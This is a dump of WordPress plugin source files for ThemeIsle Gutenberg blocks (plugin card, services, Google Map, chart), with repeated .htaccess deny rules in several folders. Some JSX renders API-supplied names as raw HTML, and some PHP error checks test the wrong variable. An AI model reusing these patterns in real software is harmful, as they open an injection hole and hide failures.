				'short_description' => true,
				'slug' => false,
				'sections' => false,
				'requires' => false,
				'rating' => true,
				'ratings' => false,
			),
		);

		$results = plugins_api( 'plugin_information', $request );

		if ( is_wp_error( $request ) ) {
			$return['data'] = 'error';
			return $return;
		}

		$return['success'] = true;

		// Get data from API
		$return['data'] = $results;

		return $return;
	}

	/**
	 * Get Rating Stars
	 *
	 * Get 0-5 star rating from rating score.
	 *
	 * @return mixed|string
	 */
	function get_ratings( $rating ) {
		$rating = round( $rating / 10, 0 ) / 2;
		$full_stars = floor( $rating );
		$half_stars = ceil( $rating - $full_stars );
		$empty_stars = 5 - $full_stars - $half_stars;
		$output = str_repeat( '<span class="star-full"></span>', $full_stars );
		$output .= str_repeat( '<span class="star-half"></span>', $half_stars );
		$output .= str_repeat( '<span class="star-empty"></span>', $empty_stars );
		return $output;
	}
}
plugin-card/index.js000066600000015774151142373640010446 0ustar00/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { apiFetch } = wp;

const { registerBlockType } = wp.blocks;

const {
	Placeholder,
	Dashicon,
	TextControl,
	Spinner,
	Button,
	Toolbar,
	Tooltip
} = wp.components;

const {
	compose,
	withState
} = wp.compose;

const { BlockControls } = wp.editor;

const { withSelect } = wp.data;

const { ENTER } = wp.keycodes;

const starRating = stars => {
	const rating = Math.floor( stars / 10 ) / 2;
	const fullStars = Math.floor( rating );
	const halfStars = Math.ceil( rating - fullStars );
	const emptyStars = 5 - fullStars - halfStars;
	const ratings = '<span className="star-full"></span>'.repeat( fullStars ) + '<span className="star-half"></span>'.repeat( halfStars ) + '<span className="star-empty"></span>'.repeat( emptyStars );
	return ratings;
};

/**
 * Internal dependencies
 */
import './editor.scss';
import './style.scss';
import { pluginsIcon } from '../../helpers/icons.js';

import { unescapeHTML } from '../../helpers/helper-functions.js';

registerBlockType( 'themeisle-blocks/plugin-cards', {
	title: __( 'Plugin Card' ),
	description: __( 'Plugin Card block lets you display plugins data in your blog posts.' ),
	icon: pluginsIcon,
	category: 'themeisle-blocks',
	keywords: [
		'plugin',
		'card',
		'orbitfox'
	],
	attributes: {
		slug: {
			type: 'string'
		},
		pluginIcon: {
			type: 'string'
		},
		pluginName: {
			type: 'string'
		},
		pluginAuthor: {
			type: 'string'
		},
		pluginRating: {
			type: 'number'
		},
		pluginDescription: {
			type: 'string'
		},
		pluginInstalls: {
			type: 'number'
		},
		pluginVersion: {
			type: 'string'
		},
		pluginTested: {
			type: 'string'
		},
		pluginLink: {
			type: 'string'
		}
	},

	supports: {
		html: false
	},

	edit: compose([

		withSelect( ( select, props ) => {
			return {
				props
			};
		}),

		withState({
			status: 0,
			results: {}
		})

	])( ({ props, className, status, results, setState }) => {

		const changeSlug = value => {
			props.setAttributes({ slug: value });
		};

		const searchPlugins = search => {
			setState({ status: 1 });
			apiFetch({ path: `themeisle-gutenberg-blocks/v1/get_plugins?search='${ encodeURIComponent( search ) }` }).then( payload => {
				const data = payload.data.plugins;
				setState({
					status: 0,
					results: data
				});
			});
		};

		const selectPlugin = data => {
			let icon;
			if ( data.icons.svg ) {
				icon = data.icons.svg;
			} if ( data.icons['2x']) {
				icon = data.icons['2x'];
			} if ( data.icons['1x']) {
				icon = data.icons['1x'];
			} if ( data.icons.default ) {
				icon = data.icons.default;
			}
			props.setAttributes({
				slug: data.slug,
				pluginIcon: icon,
				pluginName: data.name,
				pluginAuthor: data.author,
				pluginRating: data.rating,
				pluginDescription: data.short_description,
				pluginInstalls: data.active_installs,
				pluginVersion: data.version,
				pluginTested: data.tested,
				pluginLink: data.download_link
			});
			setState({
				results: {}
			});
		};

		return [
			( props.attributes.pluginName ) && (
				<BlockControls key="toolbar-controls">
					<Toolbar
						className='components-toolbar'
					>
						<Tooltip text={ __( 'Edit Plugin Card' )	}>
							<Button
								className="components-icon-button components-toolbar__control edit-plugin-card"
								onClick={ () => {
									props.setAttributes({
										pluginIcon: '',
										pluginName: '',
										pluginAuthor: '',
										pluginRating: '',
										pluginDescription: '',
										pluginInstalls: '',
										pluginVersion: '',
										pluginTested: '',
										pluginLink: ''
									});
								} }
							>
								<Dashicon icon="edit" />
							</Button>
						</Tooltip>
					</Toolbar>
				</BlockControls>
			),
			<div className={ className }>
				{ ( props.attributes.pluginName ) ?
					<div className="themeisle-plugin-card">
						<div className="card-header">
							<div className="card-main">
								<div className="card-logo">
									<img src={ props.attributes.pluginIcon } alt={ unescapeHTML( props.attributes.pluginName ) } title={ unescapeHTML( props.attributes.pluginName ) }/>
								</div>
								<div className="card-info">
									<h4>{ unescapeHTML( props.attributes.pluginName ) }</h4>
									<h5 dangerouslySetInnerHTML={ { __html: _.unescape( props.attributes.pluginAuthor ) } }></h5>
								</div>
								<div className={ 'card-ratings' } dangerouslySetInnerHTML={ { __html: _.unescape( starRating( props.attributes.pluginRating ) ) } }></div>
							</div>
						</div>
						<div className="card-details">
							<div className="card-description">{ unescapeHTML( props.attributes.pluginDescription ) }</div>
							<div className="card-stats">
								<h5>{__( 'Plugin Stats' ) }</h5>
								<div className="card-stats-list">
									<div className="card-stat">
										<span className="card-text-large">{ props.attributes.pluginInstalls.toLocaleString() }+</span>
										{ __( 'active installs' ) }
									</div>
									<div className="card-stat">
										<span className="card-text-large">{ props.attributes.pluginVersion }</span>
										{ __( 'version' ) }
									</div>
									<div className="card-stat">
										<span className="card-text-large">{ props.attributes.pluginTested }</span>
										{ __( 'tested up to' ) }
									</div>
								</div>
							</div>
						</div>
						<div className="card-download">
							<a href={ props.attributes.pluginLink }>{ __( 'Download' ) }</a>
						</div>
					</div>				:
					<Placeholder
						icon="admin-plugins"
						label={ __( 'Plugin Card' ) }
					>
						<div className="search-plugin-field">
							<Dashicon icon="search" />
							{ 1 === status && (
								<Spinner/>
							) }
							<TextControl
								type="text"
								placeholder={ __( 'Search for plugin…' ) }
								value={ props.attributes.slug }
								onChange={ changeSlug }
								onKeyDown={ ( event ) => {
									if ( event.keyCode === ENTER ) {
										searchPlugins( event.target.value );
									}
								}}
							/>
							{ results && (
								<div className="plugin-card-search-results">
									<div>
										{ Object.keys( results ).map( ( i, j ) => {
											const pluginData = results[i];
											let icon;
											if ( pluginData.icons.svg ) {
												icon = pluginData.icons.svg;
											} if ( pluginData.icons['2x']) {
												icon = pluginData.icons['2x'];
											} if ( pluginData.icons['1x']) {
												icon = pluginData.icons['1x'];
											} if ( pluginData.icons.default ) {
												icon = pluginData.icons.default;
											}
											return (
												<div className="plugin-card-list-item" key={i} onClick={ ( e ) => {
													e.preventDefault();
													selectPlugin( pluginData );
												} }>
													<img src={ icon } />
													<span dangerouslySetInnerHTML={ { __html: _.unescape( pluginData.name ) } }></span>
												</div>
											);
										}) }
									</div>
								</div>
							) }
						</div>
					</Placeholder>
				}
			</div>
		];
	}),

	save: () => {
		return null;
	}
});
plugin-card/class-plugin-card-server.php000066600000006706151142373640014321 0ustar00<?php

namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Plugin_Card_Server
 */
class Plugin_Card_Server extends \WP_Rest_Controller {

	/**
	 * The main instance var.
	 *
	 * @var Plugin_Card_Server
	 */
	public static $instance = null;

	/**
	 * Rest route namespace.
	 *
	 * @var Plugin_Card_Server
	 */
	public $namespace = 'themeisle-gutenberg-blocks/';

	/**
	 * Rest route version.
	 *
	 * @var Plugin_Card_Server
	 */
	public $version = 'v1';

	/**
	 * Initialize the class
	 */
	public function init() {
		add_action( 'rest_api_init', array( $this, 'register_routes' ) );
	}

	/**
	 * Register REST API route
	 */
	public function register_routes() {
		$namespace = $this->namespace . $this->version;

		register_rest_route(
			$namespace,
			'/get_plugins',
			array(
				array(
					'methods'             => \WP_REST_Server::READABLE,
					'callback'            => array( $this, 'search' ),
					'args'                => array(
						'search'      => array(
							'type'        => 'string',
							'required'    => true,
							'description' => __( 'The form must have data', 'themeisle-companion' ),
						),
					),
				),
			)
		);
	}

	/**
	 * Search WordPress Plugin
	 *
	 * Search WordPress plugin using WordPress.org API.
	 *
	 * @return mixed|\WP_REST_Response
	 */
	public function search( $request ) {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return false;
		}

		$return = array(
			'success' => false,
			'data'     => esc_html__( 'Something went wrong', 'themeisle-companion' ),
		);

		$search   = $request->get_param( 'search' );

		require_once( ABSPATH . 'wp-admin' . '/includes/plugin-install.php' );

		$request = array(
			'per_page' => 12,
			'search' => $search,
			'fields' => array(
				'active_installs' => true,
				'added' => false,
				'donate_link' => false,
				'downloadlink' => true,
				'homepage' => true,
				'icons' => true,
				'last_updated' => false,
				'requires' => true,
				'requires_php' => false,
				'screenshots' => false,
				'short_description' => true,
				'slug' => false,
				'sections' => false,
				'requires' => false,
				'rating' => true,
				'ratings' => false,
			),
		);

		$results = plugins_api( 'query_plugins', $request );

		if ( is_wp_error( $request ) ) {
			$return['data'] = 'error';
			return $return;
		}

		$return['success'] = true;

		// Get data from API
		$return['data'] = $results;

		return rest_ensure_response( $return );
	}

	/**
	 * The instance method for the static class.
	 * Defines and returns the instance of the static class.
	 *
	 * @static
	 * @since 1.0.0
	 * @access public
	 * @return Plugin_Card_Server
	 */
	public static function instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
			self::$instance->init();
		}

		return self::$instance;
	}

	/**
	 * Throw error on object clone
	 *
	 * The whole idea of the singleton design pattern is that there is a single
	 * object therefore, we don't want the object to be cloned.
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function __clone() {
		// Cloning instances of the class is forbidden.
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );
	}

	/**
	 * Disable unserializing of the class
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function __wakeup() {
		// Unserializing instances of the class is forbidden.
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );
	}
}
plugin-card/style.scss000066600000003773151142373640011032 0ustar00.wp-block-themeisle-blocks-plugin-cards {
	padding: 20px 0;

	&.align-left {
		float: left;
	}

	&.align-center {
		text-align: center;
	}

	&.align-right {
		float: right;
	}

	.themeisle-plugin-card {
		border: 1px #EAEAEA solid;
		display: inline-block;
		width: 350px;
		font-family: "PT Serif Caption";

		a {
			color: #000;
			text-decoration: none;
		}

		.card-header {
			background: #ffffff;
			text-align: center;
			padding: 25px;

			.card-logo {
				padding: 10px;
				img {
					width: 128px;
					height: 128px;
				}
			}

			.card-info {
				padding: 10px;

				h4 {
					font-size: 24px;
					margin: 0;
				}

				h5 {
					font-size: 16px;
					margin: 0;
				}
			}

			.card-ratings {
				font-family: "Font Awesome 5 Free";

				.star-full:before {
					content: "\f005";
					font-weight: 900;
				}

				.star-half:before {
				    content: "\f5c0";
					font-weight: 900;
				}

				.star-empty:before {
				    content: "\f005";
				}
			}
		}

		.card-details {
			background: #FCFCFC;
			border-top: 1px #EAEAEA solid;
			padding: 20px;
			font-size: 12px;
			text-align: center;

			.card-description {
				color: #707070;
				font-size: 12px;
				text-align: center;
			}

			.card-stats {
				padding: 25px 0 0 0;
				text-align: justify;

				h5 {
					color: #707070;
					border-bottom: 1px #d8d8d8 solid;
					font-size: 14px;
					margin: 0;
				}

				.card-stats-list {
					display: flex;

					.card-stat {
						flex: auto;
						padding-top: 10px;
						text-align: center;

						.card-text-large {
							color: #4550ae;
							font-size: 24px;
							display: block;
						}
					}
				}
			}
		}

		.card-download {
			background: #4551af;
			text-align: center;

			a {
				color: #fff;
				text-decoration: none;
				display: block;
				padding: 20px;
			}
		}
	}
}

@media ( max-width:415px ) {
	.wp-block-themeisle-blocks-plugin-cards {
		.themeisle-plugin-card {
			width: auto;

			.card-details {
				.card-stats {
					.card-stats-list {
						display: block;
					}
				}
			}
		}
	}
}plugin-card/.htaccess000066600000000424151142373640010561 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>services/services-block.js000066600000011314151142373640011652 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies...
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const {
	Button,
	ToggleControl,
	SelectControl,
	PanelBody
} = wp.components;

const { Fragment } = wp.element;

registerBlockType( 'themeisle-blocks/services', {
	title: __( 'Our Services' ),
	description: __( 'Use this Services table to showcase services your website offers.' ),
	icon: 'columns',
	category: 'themeisle-blocks',
	keywords: [
		'services',
		'features',
		'orbitfox'
	],
	attributes: {
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		},
		backgroundImageID: {
			type: 'string'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundDimmed: {
			type: 'boolean',
			default: true
		},
		backgroundParallax: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		align: [ 'wide', 'full' ]
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/service-block' ];
		const ALLOWED_MEDIA_TYPES = [ 'image' ];
		const TEMPLATE = [ [ 'themeisle-blocks/service-block' ], [ 'themeisle-blocks/service-block' ], [ 'themeisle-blocks/service-block' ] ];
		const changeType = value => {
			props.setAttributes({ backgroundType: value });
		};
		const changeColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const changeBackground = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};
		const removeBackground = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};
		const toggleDimming = () => {
			props.setAttributes({ backgroundDimmed: ! props.attributes.backgroundDimmed });
		};
		const toggleParallax = () => {
			props.setAttributes({ backgroundParallax: ! props.attributes.backgroundParallax });
		};
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return [
			<InspectorControls>
				<PanelBody
					title={ __( 'Background' ) }
				>
					<SelectControl
						label={ __( 'Background Type' ) }
						value={ props.attributes.backgroundType }
						options={ [
							{ label: 'Color', value: 'color' },
							{ label: 'Image', value: 'image' }
						] }
						onChange={ changeType }
					/>
					{ 'color' === props.attributes.backgroundType ?
						<ColorPalette
							label={ __( 'Background Color' ) }
							value={ props.attributes.backgroundColor }
							onChange={ changeColor }
						/>					:
						props.attributes.backgroundImageURL ?
							<Fragment>
								<ToggleControl
									label={ __( 'Dimmed Background' ) }
									checked={ props.attributes.backgroundDimmed }
									onChange={ toggleDimming }
								/>
								<ToggleControl
									label={ __( 'Parallax Background' ) }
									checked={ props.attributes.backgroundParallax }
									onChange={ toggleParallax }
								/>
								<img
									src={ props.attributes.backgroundImageURL }
								/>
								<Button
									isLarge
									onClick={ removeBackground }
									style={ { marginTop: '10px' } }
								>
									{ __( 'Change or Remove Image' ) }
								</Button>
							</Fragment>						:
							<MediaPlaceholder
								icon="format-image"
								labels={ {
									title: __( 'Background Image' ),
									name: __( 'an image' )
								} }
								value={ props.attributes.backgroundImageID }
								onSelect={ changeBackground }
								accept="image/*"
								allowedTypes={ ALLOWED_MEDIA_TYPES }
							/>
					}
				</PanelBody>
			</InspectorControls>,

			<div
				className={ classnames(
					props.className,
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks
					allowedBlocks={ ALLOWED_BLOCKS }
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return (
			<div
				className={ classnames(
					'wp-block-themeisle-blocks-services',
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
services/index.js000066600000000176151142373640010052 0ustar00/**
 * Services Block
 */
import './style.scss';
import './editor.scss';
import './services-block';
import './service-block';
services/editor.scss000066600000004544151142373640010573 0ustar00// These margins make sure that nested blocks stack/overlay with the parent block chrome
// This is sort of an experiment at making sure the editor looks as much like the end result as possible
// Potentially the rules here can apply to all nested blocks and enable stacking, in which case it should be moved elsewhere
.wp-block-themeisle-blocks-services .editor-block-list__layout {
	margin-left: 0;
	margin-right: 0;

	// This max-width is used to constrain the main editor column, it should not cascade into columns
	.editor-block-list__block {
		max-width: none;
	}
}

.wp-block-themeisle-blocks-services {
	display: block;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/service-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				margin-top: 12px;
				flex-basis: 100%;
			}
		}
	}

	.wp-block-column {
		&:first-child {
			margin-left: 0;
		}

		&:last-child {
			margin-right: 0;
		}

		position: relative;
		padding: 20px 10px;
		margin: 0 20px;
	}
}

[data-type="themeisle-blocks/services"] {
	&[data-align="full"] {
		.wp-block-themeisle-blocks-services {
			padding: 100px 150px;
		}
	}

	&[data-align="wide"] {
		.wp-block-themeisle-blocks-services {
			padding: 30px 50px;
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-services {
		display: block;

		> .editor-inner-blocks > .editor-block-list__layout {
			display: block;
	
			> [data-type="themeisle-blocks/service-block"] {
				display: flex;
				flex-direction: column;
				flex: 1;
				width: auto;
	
				.editor-block-list__block-edit {
					margin-top: 12px;
					flex-basis: 100%;
				}
			}
		}
	}
}

@media ( max-width:1024px ) {
	[data-type="themeisle-blocks/services"] {
		&[data-align="full"] {
			.wp-block-themeisle-blocks-services {
				padding: 100px 20px;
			}
		}

		&[data-align="wide"] {
			.wp-block-themeisle-blocks-services {
				padding: 30px 50px;
			}
		}
	}
}services/.htaccess000066600000000424151142373640010177 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>services/style.scss000066600000002074151142373640010441 0ustar00.wp-block-themeisle-blocks-services {
	display: flex;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	&.alignfull {
		padding: 100px;
	}

	&.alignwide {
		padding: 100px 150px;
	}

	.wp-block-column {
		position: relative;
		flex: 1;
		padding: 20px 10px;
		margin: 0 20px;
	}
}

@media ( min-width:768px ) {
	.wp-block-themeisle-blocks-services {
		.wp-block-column {

			&:first-child {
				margin-left: 0;
			}
	
			&:last-child {
				margin-right: 0;
			}
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-services {
		display: block;

		.wp-block-column {
			margin: 20px;
		}
	}
}

@media ( max-width:1024px ) {
	.wp-block-themeisle-blocks-services {

		&.alignfull {
			padding: 100px 20px;
		}
	
		&.alignwide {
			padding: 100px 20px;
		}
	}
}services/service-block.js000066600000003671151142373640011476 0ustar00/**
 * WordPress dependencies...
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	InnerBlocks,
	InspectorControls,
	PanelColorSettings
} = wp.editor;

registerBlockType( 'themeisle-blocks/service-block', {
	title: __( 'Service Block' ),
	description: __( 'Use this Services table to showcase services your website offers.' ),
	parent: [ 'themeisle-blocks/services' ],
	icon: 'slides',
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'orbitfox'
	],
	attributes: {
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		}
	},

	edit: props => {
		const setBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const TEMPLATE =  [
			[ 'themeisle-blocks/font-awesome-icons', {
				fontSize: '62',
				prefix: 'fab',
				icon: 'angellist'
			} ],
			[ 'core/heading', {
				content: __( 'Panel' ),
				className: 'service-title',
				align: 'center',
				level: 4
			} ],
			[ 'core/paragraph', {
				content: __( 'Small description, but a pretty long one.' ),
				className: 'service-content',
				align: 'center'
			} ],
			[ 'core/button', {
				text: __( 'Learn More' ),
				className: 'service-button',
				align: 'center'
			} ]
		];

		return [
			<InspectorControls>
				<PanelColorSettings
					title={ __( 'Color Settings' ) }
					initialOpen={ true }
					colorSettings={ [
						{
							value: props.attributes.backgroundColor,
							onChange: setBackgroundColor,
							label: __( 'Background Color' )
						}
					] }
				>
				</PanelColorSettings>
			</InspectorControls>,

			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				} }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
google-map/editor.scss000066600000004431151142373640010772 0ustar00.wp-block-themeisle-blocks-google-map {
	.components-placeholder {
		padding: 40px 20px;
	}

	.components-placeholder__text {
		font-size: 14px;
		line-height: 1;
	}

	.gmnoprint {
		&:hover {
			* {
				cursor: pointer !important;
			}
		}
	}

	.gm-control-marker-ui {
		background-color: #fff;
		border: 2px solid #fff;
		border-radius: 3px;
		box-shadow: 0 2px 6px rgba(0,0,0,.3);
		margin-left: 10px;
		padding: 8px;
		text-align: center;

		&:hover {
			cursor: pointer;

			* {
				cursor: pointer;
			}

			.dashicons {

				&:before {
					content: "\f109";
				}
			}
		}

		.dashicons {
			color: #666666;

			&:hover {
				color: #000000;
			}
		}
	}

	&.is-selecting-marker * {
		cursor: crosshair;
	}
}

.wp-block-themeisle-blocks-google-map-search {
	width: 100%;
}

.wp-block-themeisle-blocks-google-map-marker-group {

	.wp-block-themeisle-blocks-google-map-marker {
		margin: 10px 0;

		.wp-block-themeisle-blocks-google-map-marker-title-area {
			display: flex;
			border: 1px solid #d5dadf;
	
			&:hover {
				border-color: #a4afb7;
			}
	
			.wp-block-themeisle-blocks-google-map-marker-title {
				flex-basis: 80%;
				padding: 10px 15px;
				cursor: pointer;
	
				&:hover {
					background: #fafafb;
				}
			}
	
			.wp-block-themeisle-blocks-google-map-marker-remove {
				display: flex;
				flex-basis: 20%;
				justify-content: center;
				padding: 10px 5px;
				border-left: 1px solid #d5dadf;
				cursor: pointer;
	
				&:hover {
					background: #fafafb;
					border-radius: 0;
					box-shadow: none;
				}
			}
		}

		.wp-block-themeisle-blocks-google-map-marker-control-area {
			border: 1px solid #d5dadf;
			border-top: none;
			padding: 10px 15px;
			display: none;

			&.opened {
				display: block;
			}
		}
	}
}

.wp-block-themeisle-blocks-google-map-marker-add {
	display: flex;
	justify-content: center;
	width: 100%;
}

.wp-block-themeisle-blocks-map-overview {

	h6.wp-block-themeisle-blocks-map-overview-title {
		font-size: 14px;
		margin: 10px 0;
	}

	.wp-block-themeisle-blocks-map-overview-content p {
		font-size: 12px;
	}

	.wp-block-themeisle-blocks-map-overview-delete {
		cursor: pointer;
	}
}

.wp-block-themeisle-blocks-google-map-resizer {

	&.is-focused {
		.components-resizable-box__handle {
			display: block;
			z-index: 1;
		}
	}
}

.pac-container {
	z-index: 999999;
}google-map/.htaccess000066600000000424151142373640010403 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>google-map/index.js000066600000002550151142373640010254 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';

import { mapIcon } from '../../helpers/icons.js';

import Editor from './components/Editor.js';

registerBlockType( 'themeisle-blocks/google-map', {
	title: __( 'Google Map' ),
	description: __( 'Display a Google Map on your website with Google Map block.' ),
	icon: mapIcon,
	category: 'themeisle-blocks',
	keywords: [
		'map',
		'google',
		'orbitfox'
	],
	attributes: {
		id: {
			type: 'string'
		},
		location: {
			type: 'string',
			default: 'La Sagrada Familia, Barcelona, Spain'
		},
		latitude: {
			type: 'string'
		},
		longitude: {
			type: 'string'
		},
		type: {
			type: 'string',
			default: 'roadmap'
		},
		zoom: {
			type: 'number',
			default: 15
		},
		height: {
			type: 'number',
			default: 400
		},
		draggable: {
			type: 'boolean',
			default: true
		},
		mapTypeControl: {
			type: 'boolean',
			default: true
		},
		zoomControl: {
			type: 'boolean',
			default: true
		},
		fullscreenControl: {
			type: 'boolean',
			default: true
		},
		streetViewControl: {
			type: 'boolean',
			default: true
		},
		markers: {
			type: 'array',
			default: []
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		html: false
	},

	edit: Editor,

	save: () => {
		return null;
	}
});
google-map/class-google-map-block.php000066600000005564151142373640013552 0ustar00<?php
namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Google_Map_Block
 */
class Google_Map_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'google-map';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array(
			'id'				=> array(
				'type'    => 'string',
			),
			'location'			=> array(
				'type'    => 'string',
				'default' => 'La Sagrada Familia, Barcelona, Spain',
			),
			'latitude'			=> array(
				'type'    => 'string',
				'default' => '41.4036299',
			),
			'longitude'			=> array(
				'type'    => 'string',
				'default' => '2.1743558000000576',
			),
			'type'				=> array(
				'type'    => 'string',
				'default' => 'roadmap',
			),
			'zoom'				=> array(
				'type'    => 'number',
				'default' => 15,
			),
			'height'			=> array(
				'type'    => 'number',
				'default' => 400,
			),
			'draggable'			=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'mapTypeControl'	=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'zoomControl'		=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'fullscreenControl'	=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'streetViewControl'	=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'markers'			=> array(
				'type'    => 'object',
				'default' => [],
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$id = isset( $attributes['id'] ) ? $attributes['id'] : 'wp-block-themeisle-blocks-google-map-' . rand( 10,100 );
		$class = 'wp-block-themeisle-blocks-google-map';

		if ( isset( $attributes['className'] ) ) {
			$class .=  ' ' . esc_attr( $attributes['className'] );
		}

		if ( isset( $attributes['align'] ) ) {
			$class .=  ' align' . esc_attr( $attributes['align'] );
		}

		$output = '<div class="' . esc_attr( $class ) . '" id="' . esc_attr( $id ) . '" style="height:' . intval( $attributes['height'] ) . 'px;"></div>' . "\n";
		$output .= '<script type="text/javascript">' . "\n";
		$output .= '	/* <![CDATA[ */' . "\n";
		$output .= '		if ( ! window.themeisleGoogleMaps ) window.themeisleGoogleMaps =[];' . "\n";
		$output .= '		window.themeisleGoogleMaps.push( { container: "' . $id . '", attributes: ' . json_encode( $attributes ) . ' } );' . "\n";
		$output .= '	/* ]]> */' . "\n";
		$output .= '</script>' . "\n";

		return $output;
	}
}
chart/Editor.js000066600000006477151142373640007461 0ustar00/**
 * External dependencies
 */
import { Chart } from 'react-google-charts';

import { HotTable } from '@handsontable/react';

import 'handsontable/dist/handsontable.full.css';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	Component,
	Fragment
} = wp.element;

const {
	Button,
	Dashicon,
	FormToggle,
	PanelBody,
	PanelRow,
	TextControl,
	Toolbar,
	Tooltip
} = wp.components;

const {
	BlockControls,
	InspectorControls
} = wp.editor;

class Editor extends Component {
	constructor() {
		super( ...arguments );

		this.changeChartTitle = this.changeChartTitle.bind( this );
		this.toggle3d = this.toggle3d.bind( this );
		this.saveChart = this.saveChart.bind( this );

		if ( this.props.clientId && '' === this.props.attributes.id ) {
			const id = this.props.clientId;
			this.props.setAttributes({ id });
		}

		this.state = {
			isOpen: false
		};

		this.data = JSON.parse( this.props.attributes.data );
	}

	changeChartTitle( value ) {
		const options = { ...this.props.attributes.options };
		options.title = value;
		this.props.setAttributes({ options });
	}

	toggle3d() {
		const options = { ...this.props.attributes.options };
		options.is3D = ! this.props.attributes.options.is3D;
		this.props.setAttributes({ options });
	}

	saveChart() {
		this.props.setAttributes({ data: JSON.stringify( this.data ) });
		this.setState({ isOpen: ! this.state.isOpen });
	}

	render() {
		return (
